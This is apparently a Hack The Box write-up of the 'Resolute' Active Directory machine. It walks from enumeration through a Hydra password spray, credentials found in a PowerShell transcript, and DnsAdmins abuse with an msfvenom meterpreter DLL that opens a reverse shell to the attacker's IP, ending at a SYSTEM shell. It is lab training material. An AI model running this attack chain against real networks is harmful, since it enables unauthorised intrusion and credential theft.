โ Resolute run as medium machine but an easy boxโ in the first phase you easily find the users of the box and 1 password by using enum4linux. I run hydra to bruteforce the users using 1 password and easily got right creds with melanie. I use the creds to get with evil-winrm and got the user.txt. The root part was gave me a little bit headache causeโ there was Anti-Virus inside the machine and I always disconnected when I transfer a file like nc.exe or winPEAS.exe for privilege escalation. As my enumeration there was another user ryan which his password is hidden in the directory. Then after I found itโ I switch to ryan from user melanie. When doing enumeration i found that ryan is part of DNSAdmins that I can abuse it by adding malicious DLL in the serverplugin. Using impacket-smbserver i can load my dll file to machine. Restarting the dns service then I will able to execute my dll as administrator.
Penetration Testing Methodologies
Network Scanning
โ Nmap scan
โ discover open ports and what services are running
Enumeration
โ run enum4linux gives some usernames and 1 password which can be use that later
Post - Exploitation
โ with Hydra I brute force all the usernames with only 1 password, the password is right belong to melanie
โ using Evil-WinRM to login as melanie and got the user.txt
Exploitation
โ enumerating the file directory there was another user ryan
โ using ls -hidden we see a file which contains juicy information
โ by reading the .txt file I got the password of ryan then switch user.
Privilege Escalation
โ create a malicious dll file with msfvenom
โ load my dll file with impacket-smbserver
โ running my meterpreter session
โ stop and start dns service
โ finally I got the administrator and root.txt
Network Scanning
Walkthrough
โ I always begin at NMAP to look on the services what is running. I always use
-sV โ Probe open ports to determine service/version info
-sC โ equivalent to โscript=default
-A โ Agressive scan
-oN โ to save our scan results to a text file
# bash
nmap -sV -sC -A 10.10.10.169 -oN nmap-Resolute
# bash
root in htb/boxes/Resolute โฏ nmap -sV -sC -A -oN nmap-Resolute 10.10.10.169 Starting Nmap 7.80 ( https://nmap.org ) at 2020-05-29 06:59 PST WARNING: RST from10.10.10.169 port 53 -- isthis port really open? WARNING: RST from10.10.10.169 port 53 -- isthis port really open? Nmap scan report for10.10.10.169 Host isup (0.26s latency). Not shown: 989 closed ports PORT STATE SERVICE VERSION 53/tcp open domain? | fingerprint-strings: | DNSVersionBindReqTCP: | version |_ bind 88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2020-05-3023:11:35Z) 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: megabank.local, Site: Default-First-Site-Name) 445/tcp open microsoft-ds Windows Server 2016 Standard 14393 microsoft-ds (workgroup: MEGABANK) 464/tcp open kpasswd5? 593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0 636/tcp open tcpwrapped 3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: megabank.local, Site: Default-First-Site-Name) 3269/tcp open tcpwrapped 1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service : SF-Port53-TCP:V=7.80%I=7%D=5/31%Time=5ED2E596%P=x86_64-pc-linux-gnu%r(DNSV SF:ersionBindReqTCP,20,"\0\x1e\0\x06\x81\x04\0\x01\0\0\0\0\0\0\x07version\ SF:x04bind\0\0\x10\0\x03"); No exact OS matches forhost (If you know what OS is running on it, see https://nmap.org/submit/ ). TCP/IP fingerprint: OS:SCAN(V=7.80%E=4%D=5/31%OT=53%CT=1%CU=35791%PV=Y%DS=2%DC=T%G=Y%TM=5ED2E64 OS:6%P=x86_64-pc-linux-gnu)SEQ(SP=F9%GCD=4%ISR=109%TI=RD%CI=I%II=I%TS=8)SEQ OS:(SP=102%GCD=1%ISR=104%TI=I%CI=I%II=I%SS=O%TS=A)OPS(O1=%O2=%O3=M54DNW8NNT OS:11%O4=M54DNW8ST11%O5=M54DNW8ST11%O6=M54DST11)WIN(W1=0%W2=0%W3=2000%W4=20 OS:00%W5=2000%W6=2000)ECN(R=Y%DF=Y%T=80%W=2000%O=M54DNW8NNS%CC=Y%Q=)T1(R=Y% OS:DF=Y%T=80%S=Z%A=S+%F=AR%RD=0%Q=)T2(R=Y%DF=Y%T=80%W=0%S=Z%A=S%F=AR%O=%RD= OS:0%Q=)T3(R=Y%DF=Y%T=80%W=0%S=Z%A=O%F=AR%O=%RD=0%Q=)T4(R=Y%DF=Y%T=80%W=0%S OS:=A%A=O%F=R%O=%RD=0%Q=)T5(R=Y%DF=Y%T=80%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R OS:=Y%DF=Y%T=80%W=0%S=A%A=O%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=80%W=0%S=Z%A=S+%F= OS:AR%O=%RD=0%Q=)U1(R=Y%DF=N%T=80%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G% OS:RUD=G)IE(R=Y%DFI=N%T=80%CD=Z) Network Distance: 2 hops Service Info: Host: RESOLUTE; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results: |_clock-skew: mean: 2h31m01s, deviation: 4h02m30s, median: 11m00s | smb-os-discovery: | OS: Windows Server 2016 Standard 14393 (Windows Server 2016 Standard 6.3) | Computer name: Resolute | NetBIOS computer name: RESOLUTE\x00 | Domain name: megabank.local | Forest name: megabank.local | FQDN: Resolute.megabank.local |_ System time: 2020-05-30T16:12:18-07:00 | smb-security-mode: | account_used: <blank> | authentication_level: user | challenge_response: supported |_ message_signing: required | smb2-security-mode: | 2.02: |_ Message signing enabled and required | smb2-time: | date: 2020-05-30T23:12:22 |_ start_date: 2020-05-30T22:15:46
TRACEROUTE (using port 80/tcp) HOP RTT ADDRESS 1210.01 ms 10.10.14.1 2217.91 ms 10.10.10.169
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . # Nmap done at Sun May 31 07:03:34 2020 -- 1 IP address (1 host up) scanned in 216.34 seconds
root in htb/boxes/Resolute took 2m8s โฏ
Weโve got a lot of open ports. but the interesting was the port :
445(smb), 53(dns), 88(kerberos) and 5985(WinRM).
Enumeration
Enum4linux
to enumerate some juicy information to box, i use enum4linux so letโs see :
# bash
root in htb/boxes/Resolute โฏ enum4linux -o -U -G -S 10.10.10.169 Starting enum4linux v0.8.9 ( http://labs.portcullis.co.uk/application/enum4linux/ ) on Sun May 31 08:06:03 2020
========================== | Target Information | ========================== Target ........... 10.10.10.169 RID Range ........ 500-550,1000-1050 Username ......... '' Password ......... '' Known Usernames .. administrator, guest, krbtgt, domain admins, root, bin, none
==================================================== | Enumerating Workgroup/Domain on 10.10.10.169 | ====================================================
As you can see here thereโs a lot of users but only 1 password Welcome123! and it use to user marko
as you can see in this line there was a lot of username but only 1 password that belong to marko
# bash
index: 0x10a9 RID: 0x457 acb: 0x00000210 Account: marko Name: Marko Novak Desc: Account created. Password set to Welcome123!
Post - Exploitation
Evil-WinRM
I login it with evil-winrm but it failed ! so, i decided to use hydra and save all the usernames on a text file and bruteforce it with only 1 password :
# bash
root in htb/boxes/Resolute โฏ hydra -t 1 -V -f -L users.txt -p "Welcome123!"10.10.10.169 smb Hydra v9.0 (c) 2019by van Hauser/THC - Please donot use in military or secret service organizations, orfor illegal purposes.
Lines Words Characters Property ----- ----- ---------- -------- 132
*Evil-WinRM* PS C:\Users\melanie\Desktop>
Exploitation
Transfer file with SAMBA
the enumeration starts again, i try to transfer first winPEAS.exe it is similar to LinEnum.sh for Linux kernel, it helps penetration testers to find some useful info that they can use for privilege escalation so first i setup my smb configuration.
# bash
[global] workgroup = WORKGROUP server string - Samba Server %v netbios name = Payas0 security = user map to guest = bad user name to resolve order = bcast host dns proxy = no bind interfaces only = yes
[medz] path = /root/htb/boxes/Resolute/ writable = no guest ok = yes guest only = yes read only = yes directory mode = 0555 force user = nobody
then start service :
# bash
root in htb/boxes/Resolute โฏ smbd service restart
but this one failed me. The machine has a Anti-virus it always disconnect me when I try to transfer a file like nc.exe or winPEAS so letโs do another thingโ enumerate the directories.
Hidden directories
# bash
*Evil-WinRM* PS C:\Users\melanie\Documents> cd / *Evil-WinRM* PS C:\> ls -hidden
Directory: C:\
Mode LastWriteTime Length Name ---- ------------- ------ ---- d--hs- 12/3/20196:40 AM $RECYCLE.BIN d--hsl 9/25/201910:17 AM Documents and Settings d--h-- 9/25/201910:48 AM ProgramData d--h-- 12/3/20196:32 AM PSTranscripts d--hs- 9/25/201910:17 AM Recovery d--hs- 9/25/20196:25 AM System Volume Information -arhs- 11/20/20165:59 PM 389408 bootmgr -a-hs- 7/16/20166:10 AM 1 BOOTNXT -a-hs- 5/30/20203:15 PM 402653184 pagefile.sys
*Evil-WinRM* PS C:\>
The PSTranscripts is very interesting because that is not a default file of a windows. so looking inside of that folder :
# bash
*Evil-WinRM* PS C:\> cd PSTranscripts *Evil-WinRM* PS C:\PSTranscripts> dir *Evil-WinRM* PS C:\PSTranscripts> ls -hidden
Directory: C:\PSTranscripts
Mode LastWriteTime Length Name ---- ------------- ------ ---- d--h-- 12/3/20196:45 AM 20191203
*Evil-WinRM* PS C:\PSTranscripts>
dir command will not show whatโs really inside of the folder so I use ls -hidden to show the hidden files. and thereโs another folder 20191203
# bash
*Evil-WinRM* PS C:\PSTranscripts> cd 20191203 *Evil-WinRM* PS C:\PSTranscripts\20191203> ls -hidden
Directory: C:\PSTranscripts\20191203
Mode LastWriteTime Length Name ---- ------------- ------ ---- -arh-- 12/3/20196:45 AM 3732 PowerShell_transcript.RESOLUTE.OJuoBGhU.20191203063201.txt
*Evil-WinRM* PS C:\PSTranscripts\20191203>
very interesting ! letโs see whatโs inside of that text file.
# bash
*Evil-WinRM* PS C:\PSTranscripts\20191203> more PowerShell_transcript.RESOLUTE.OJuoBGhU.20191203063201.txt ********************** Windows PowerShell transcript start Start time: 20191203063201 Username: MEGABANK\ryan RunAs User: MEGABANK\ryan Machine: RESOLUTE (Microsoft Windows NT 10.0.14393.0) Host Application: C:\Windows\system32\wsmprovhost.exe -Embedding Process ID: 2800 PSVersion: 5.1.14393.2273 PSEdition: Desktop PSCompatibleVersions: 1.0, 2.0, 3.0, 4.0, 5.0, 5.1.14393.2273 BuildVersion: 10.0.14393.2273 CLRVersion: 4.0.30319.42000 WSManStackVersion: 3.0 PSRemotingProtocolVersion: 2.3 SerializationVersion: 1.1.0.1 ********************** Command start time: 20191203063455 ********************** PS>TerminatingError(): "System error." >> CommandInvocation(Invoke-Expression): "Invoke-Expression" >> ParameterBinding(Invoke-Expression): name="Command"; value="-join($id,'PS ',$(whoami),'@',$env:computername,' ',$((gi $pwd).Name),'> ') if (!$?) { if($LASTEXITCODE) { exit $LASTEXITCODE } else { exit 1 } }" >> CommandInvocation(Out-String): "Out-String" >> ParameterBinding(Out-String): name="Stream"; value="True" ********************** Command start time: 20191203063455 ********************** PS>ParameterBinding(Out-String): name="InputObject"; value="PS megabank\ryan@RESOLUTE Documents> " PS megabank\ryan@RESOLUTE Documents> ********************** Command start time: 20191203063515 ********************** PS>CommandInvocation(Invoke-Expression): "Invoke-Expression" >> ParameterBinding(Invoke-Expression): name="Command"; value="cmd /c net use X: \\fs01\backups ryan Serv3r4Admin4cc123! if (!$?) { if($LASTEXITCODE) { exit $LASTEXITCODE } else { exit 1 } }" >> CommandInvocation(Out-String): "Out-String" >> ParameterBinding(Out-String): name="Stream"; value="True" ********************** Windows PowerShell transcript start Start time: 20191203063515 Username: MEGABANK\ryan RunAs User: MEGABANK\ryan Machine: RESOLUTE (Microsoft Windows NT 10.0.14393.0) Host Application: C:\Windows\system32\wsmprovhost.exe -Embedding Process ID: 2800 PSVersion: 5.1.14393.2273 PSEdition: Desktop PSCompatibleVersions: 1.0, 2.0, 3.0, 4.0, 5.0, 5.1.14393.2273 BuildVersion: 10.0.14393.2273 CLRVersion: 4.0.30319.42000 WSManStackVersion: 3.0 PSRemotingProtocolVersion: 2.3 SerializationVersion: 1.1.0.1 ********************** ********************** Command start time: 20191203063515 ********************** PS>CommandInvocation(Out-String): "Out-String" >> ParameterBinding(Out-String): name="InputObject"; value="The syntax of this command is:" cmd : The syntax of this command is: At line:1char:1 + cmd /c net use X: \\fs01\backups ryan Serv3r4Admin4cc123! + ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + CategoryInfo : NotSpecified: (The syntax of this command is::String) [], RemoteException + FullyQualifiedErrorId : NativeCommandError cmd : The syntax of this command is: At line:1char:1 + cmd /c net use X: \\fs01\backups ryan Serv3r4Admin4cc123! + ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + CategoryInfo : NotSpecified: (The syntax of this command is::String) [], RemoteException + FullyQualifiedErrorId : NativeCommandError ********************** Windows PowerShell transcript start Start time: 20191203063515 Username: MEGABANK\ryan RunAs User: MEGABANK\ryan Machine: RESOLUTE (Microsoft Windows NT 10.0.14393.0) Host Application: C:\Windows\system32\wsmprovhost.exe -Embedding Process ID: 2800 PSVersion: 5.1.14393.2273 PSEdition: Desktop PSCompatibleVersions: 1.0, 2.0, 3.0, 4.0, 5.0, 5.1.14393.2273 BuildVersion: 10.0.14393.2273 CLRVersion: 4.0.30319.42000 WSManStackVersion: 3.0 PSRemotingProtocolVersion: 2.3 SerializationVersion: 1.1.0.1 **********************
*Evil-WinRM* PS C:\PSTranscripts\20191203>
looking at this I got another user ryan and his possible password Serv3r4Admin4cc123!
# bash
+ cmd /c net use X: \\fs01\backups ryan Serv3r4Admin4cc123!
Now from melanie i switch to user ryan and starts the enumeration again.
# bash
root in evil-winrm on ๎ master via ๐ v2.7.0 โฏ ./evil-winrm.rb -i 10.10.10.169 -u ryan -p 'Serv3r4Admin4cc123!' -e . -s .
Evil-WinRM shell v2.3
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\ryan\Documents>
*Evil-WinRM* PS C:\Users\ryan\Documents>
Privilege Escalation
Abusing DNSAdmins privilege for escalation in Active Directory
Now letโs start to enumerate it again i checked it with whoami /all
User Name SID ============= ============================================== megabank\ryan S-1-5-21-1392959593-3013219662-3596683436-1105
GROUP INFORMATION -----------------
Group Name Type SID Attributes ========================================== ================ ============================================== =============================================================== Everyone Well-known group S-1-1-0 Mandatory group, Enabled bydefault, Enabled group BUILTIN\Users Alias S-1-5-32-545 Mandatory group, Enabled bydefault, Enabled group BUILTIN\Pre-Windows 2000 Compatible Access Alias S-1-5-32-554 Mandatory group, Enabled bydefault, Enabled group BUILTIN\Remote Management Users Alias S-1-5-32-580 Mandatory group, Enabled bydefault, Enabled group NT AUTHORITY\NETWORK Well-known group S-1-5-2 Mandatory group, Enabled bydefault, Enabled group NT AUTHORITY\Authenticated Users Well-known group S-1-5-11 Mandatory group, Enabled bydefault, Enabled group NT AUTHORITY\This Organization Well-known group S-1-5-15 Mandatory group, Enabled bydefault, Enabled group MEGABANK\Contractors Group S-1-5-21-1392959593-3013219662-3596683436-1103 Mandatory group, Enabled bydefault, Enabled group MEGABANK\DnsAdmins Alias S-1-5-21-1392959593-3013219662-3596683436-1101 Mandatory group, Enabled bydefault, Enabled group, Local Group NT AUTHORITY\NTLM Authentication Well-known group S-1-5-64-10 Mandatory group, Enabled bydefault, Enabled group Mandatory Label\Medium Mandatory Level Label S-1-16-8192
PRIVILEGES INFORMATION ----------------------
Privilege Name Description State ============================= ============================== ======= SeMachineAccountPrivilege Add workstations to domain Enabled SeChangeNotifyPrivilege Bypass traverse checking Enabled SeIncreaseWorkingSetPrivilege Increase a process working set Enabled USER CLAIMS INFORMATION -----------------------
User claims unknown.
Kerberos support for Dynamic Access Control onthis device has been disabled. *Evil-WinRM* PS C:\Users\ryan\Documents>
looking at this lineโ ryan is part of DNSAdmin Group. This privilege is prone to privilege escation vulnerabilty which allows any user inside this grupo to make the DNS service load an arbitrary DLL correctly constructed.
# bash
MEGABANK\DnsAdmins Alias S-1-5-21-1392959593-3013219662-3596683436-1101 Mandatory group, Enabled bydefault, Enabled group, Local Group
with this help of this article and this one we can get the administrator from DNS
Creating malicious DLL
we know that the machineโ have anti-virus so I canโt load a malicious file inside to get a reverse shell. so I tried to use impacket-smbserver to load my dll file from my operating system and bypass the av protection. so first I created a dll file with msfvenom
# bash
root in htb/boxes/Resolute โฏ msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.14.187 LPORT=9001 -a x64 -f dll > main.dll [-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload No encoder or badchars specified, outputting raw payload Payload size: 510 bytes Final size of dll file: 5120 bytes
root in htb/boxes/Resolute 12s โฏ
Next i setup my impacket-smbserver in the path where my dll is loaded .
Success ! the machine has connected with my operating system as they can view my files to the path where i set my SHARE my impacket-smbserver is also responding.
[*] Started reverse TCP handler on 10.10.14.187:9001 [*] Sending stage (201283 bytes) to 10.10.10.169 [*] Meterpreter session 1 opened (10.10.14.187:9001 -> 10.10.10.169:59761) at 2020-05-31 20:35:54 +0800
meterpreter >
System Information
# bash
meterpreter > sysinfo Computer : RESOLUTE OS : Windows 2016+ (10.0 Build 14393). Architecture : x64 System Language : en_US Domain : MEGABANK Logged On Users : 2 Meterpreter : x64/windows meterpreter >
Get the root.txt
So letโs pop up a shell and get the root.txt :
# bash
meterpreter > shell Process 1596 created. Channel 1 created. Microsoft Windows [Version 10.0.14393] (c) 2016 Microsoft Corporation. All rights reserved.
C:\Windows\system32>whoami whoami nt authority\system
C:\Windows\system32>
# bash
C:\Users>cd Administrator/Desktop cd Administrator/Desktop
C:\Users\Administrator\Desktop>dir dir Volume in drive C has no label. Volume Serial Number is923F-3611
Directory of C:\Users\Administrator\Desktop
12/04/201906:18 AM <DIR> . 12/04/201906:18 AM <DIR> .. 12/03/201908:32 AM 32 root.txt 1 File(s) 32 bytes 2 Dir(s) 30,837,903,360 bytes free
C:\Users\Administrator\Desktop>Get-Content "root.txt" | Measure-Object -Character -Word Get-Content "root.txt" | Measure-Object -Character -Word 'Get-Content'isnot recognized as an internalor external command, operable program or batch file.
C:\Users\Administrator\Desktop>powershell powershell Windows PowerShell Copyright (C) 2016 Microsoft Corporation. All rights reserved.
